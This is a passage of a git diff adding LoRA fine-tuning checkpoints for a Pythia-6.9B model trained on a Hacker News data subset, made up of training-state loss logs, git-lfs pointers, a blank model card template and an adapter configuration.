"eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.04601095405568e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-430/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..8d868966c852f1a5a92e04d778fc0d5561b142e1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:63d47e8334ba54ff64aebc01af863f9ee4e4c7c2e0c06430dc62a9c1bc56db8c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..e739563f5e3e2f47046cab0b38095a19a2a2e08c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dcfeaec0dfc52ca77555a6fa390182d941c587507863708372968b06c4fa66fc +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..5fdc5e50e381540856fecccc6c375074d1aa7b0a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:54abee51bb88479cda4bf77e85c2a545e7fb3c5e42f56d1baa63f1344dcc0529 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..f8f2b85f23363ba098112683059a3e46233b6bfc --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:01a563f529b13f402d286b14bda74d3530e1fcecb2bee786164bfa1339da3729 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..90faf7c4cdd0bc23122c9670cc2a6107fab5c837 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/trainer_state.json @@ -0,0 +1,693 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.866666666666667, + "eval_steps": 10, + "global_step": 440, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 7.20987167391744e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-440/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git 